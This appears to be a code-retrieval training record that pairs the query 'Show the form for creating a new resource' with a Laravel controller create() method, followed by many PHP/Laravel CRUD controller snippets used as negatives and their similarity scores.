{\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
[ "0.7446838", "0.7361646", "0.7299749", "0.7246801", "0.7163394", "0.7148201", "0.71318537", "0.7104601", "0.7101873", "0.709985", "0.70487136", "0.69936216", "0.6988242", "0.69347453", "0.68989795", "0.68988764", "0.68909055", "0.68874204", "0.68650436", "0.6848891", "0.6829478", "0.6801521", "0.67970383", "0.6794992", "0.678622", "0.67595136", "0.67416173", "0.6730242", "0.67248064", "0.6724347", "0.6724347", "0.6724347", "0.6717754", "0.67069757", "0.67046493", "0.67045283", "0.66652155", "0.6662764", "0.6659929", "0.6659647", "0.665744", "0.6653796", "0.66483474", "0.6620148", "0.6619058", "0.66164845", "0.6606442", "0.66005665", "0.65998816", "0.6593891", "0.6587057", "0.6584887", "0.65822107", "0.65806025", "0.6576035", "0.65731865", "0.6571651", "0.65702003", "0.6569641", "0.6564336", "0.65618914", "0.65526754", "0.6552204", "0.6545456", "0.653638", "0.65332466", "0.65329266", "0.65268785", "0.6525191", "0.652505", "0.65196913", "0.6517856", "0.6517691", "0.65152586", "0.6515112", "0.6507232", "0.65038383", "0.65013176", "0.64949673", "0.6491598", "0.6486873", "0.64857864", "0.6484881", "0.6483896", "0.64777964", "0.6476692", "0.64711976", "0.6469358", "0.64685416", "0.64659655", "0.6462483", "0.6461606", "0.6459046", "0.6457556", "0.6454214", "0.6453915", "0.64524966", "0.64499927", "0.6448528", "0.6447461", "0.6445687" ]
0.0
-1
Show the form for creating a new resource.
public function create() { return view('kota.create'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return view('admin.resources.create');\n }", "public function create(){\n\n return view('resource.create');\n }", "public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}", "public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }", "public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function create()\n {\n return view ('forms.create');\n }", "public function create ()\n {\n return view('forms.create');\n }", "public function create()\n\t{\n\t\treturn view('faith.form');\n\t}", "public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }", "public function create()\n {\n return view(\"request_form.form\");\n }", "public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }", "public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle &eacute;cole'\n\t\t) ) );\n\t}", "public function create()\n {\n return view($this->forms . '.create');\n }", "public function create()\n {\n return view('restful.add');\n }", "public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }", "public function create()\n {\n return view('admin.createform');\n }", "public function create()\n {\n return view('admin.forms.create');\n }", "public function create()\n {\n return view('backend.student.form');\n }", "public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function create()\n {\n return view('client.form');\n }", "public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }", "public function create()\n {\n return view('Form');\n }", "public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }", "public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}", "public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }", "public function create()\n {\n return view('backend.schoolboard.addform');\n }", "public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}", "public function create()\n {\n //\n return view('form');\n }", "public function create()\n {\n return view('rests.create');\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return view(\"Add\");\n }", "public function create(){\n return view('form.create');\n }", "public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }", "public function create()\n {\n\n return view('control panel.student.add');\n\n }", "public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}", "public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }", "public function create()\n {\n return $this->cView(\"form\");\n }", "public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }", "public function create()\n {\n return view(\"dresses.form\");\n }", "public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}", "public function createAction()\n {\n// $this->view->form = $form;\n }", "public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }", "public function create()\n {\n return view('fish.form');\n }", "public function create()\n {\n return view('users.forms.create');\n }", "public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }", "public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}", "public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }", "public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }", "public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }", "public function create()\n {\n return view('essentials::create');\n }", "public function create()\n {\n return view('student.add');\n }", "public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}", "public function create()\n {\n return view('url.form');\n }", "public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }", "public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}", "public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }", "public function create()\n {\n return view('libro.create');\n }", "public function create()\n {\n return view('libro.create');\n }", "public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view('crud/add'); }", "public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}", "public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view(\"List.form\");\n }", "public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}", "public function create()\n {\n //load create form\n return view('products.create');\n }", "public function create()\n {\n return view('article.addform');\n }", "public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }", "public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}", "public function create()\n {\n return view('saldo.form');\n }", "public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}", "public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }", "public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }", "public function create()\n {\n return view('admin.inverty.add');\n }", "public function create()\n {\n return view('Libro.create');\n }", "public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }", "public function create()\n {\n return view(\"familiasPrograma.create\");\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}", "public function create()\n {\n return view(\"create\");\n }", "public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}", "public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n return view('forming');\n }", "public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }", "public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }", "public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }", "public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }", "public function create()\n {\n // not sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }", "public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}", "public function create()\n {\n return view('student::students.student.create');\n }", "public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}" ]
[ "0.75948673", "0.75948673", "0.75863165", "0.7577412", "0.75727344", "0.7500887", "0.7434847", "0.7433956", "0.73892003", "0.73531085", "0.73364776", "0.73125", "0.7296102", "0.7281891", "0.72741455", "0.72424185", "0.7229325", "0.7226713", "0.7187349", "0.7179176", "0.7174283", "0.7150356", "0.71444064", "0.71442676", "0.713498", "0.71283126", "0.7123691", "0.71158516", "0.71158516", "0.71158516", "0.7112176", "0.7094388", "0.7085711", "0.708025", "0.70800644", "0.70571953", "0.70571953", "0.70556754", "0.70396435", "0.7039549", "0.7036275", "0.703468", "0.70305896", "0.7027638", "0.70265305", "0.70199823", "0.7018007", "0.7004984", "0.7003889", "0.7000935", "0.69973785", "0.6994679", "0.6993764", "0.6989918", "0.6986989", "0.6966502", "0.69656384", "0.69564354", "0.69518244", "0.6951109", "0.6947306", "0.69444615", "0.69423944", "0.6941156", "0.6937871", "0.6937871", "0.6936686", "0.69345254", "0.69318026", "0.692827", "0.69263744", "0.69242257", "0.6918349", "0.6915889", "0.6912884", "0.691146", "0.69103104", "0.69085974", "0.69040126", "0.69014287", "0.69012105", "0.6900397", "0.68951064", "0.6893521", "0.68932164", "0.6891899", "0.6891616", "0.6891616", "0.6889246", "0.68880934", "0.6887128", "0.6884732", "0.68822503", "0.68809193", "0.6875949", "0.68739206", "0.68739134", "0.6870358", "0.6869779", "0.68696856", "0.686877" ]
0.0
-1
Store a newly created resource in storage.
public function store(Request $request) { $this->validate($request, [ 'nama_kota' => 'required' ]); $input = $request->all(); Kota::create($input); return redirect('/kota')->with('success', 'Sukses menambah kota ' . $input['nama_kota'] . '.'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store($data, Resource $resource);", "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function createStorage();", "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }", "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
[ "0.72865677", "0.7145327", "0.71325725", "0.6640912", "0.66209733", "0.65685713", "0.652643", "0.65095705", "0.64490104", "0.637569", "0.63736665", "0.63657933", "0.63657933", "0.63657933", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437" ]
0.0
-1
Display the specified resource.
public function show(Kota $kota) { return view('kota.show', compact('kota')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Resource $resource)\n {\n // not available for now\n }", "public function show(Resource $resource)\n {\n //\n }", "function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }", "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}", "public function show(ResourceSubject $resourceSubject)\n {\n //\n }", "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function retrieve(Resource $resource);", "public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }", "public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show(Dispenser $dispenser)\n {\n //\n }", "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }", "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }", "public function get(Resource $resource);", "public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }", "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}", "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}", "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function show(rc $rc)\n {\n //\n }", "public function show(Resolucion $resolucion)\n {\n //\n }", "public function showAction(furTexture $furTexture)\n 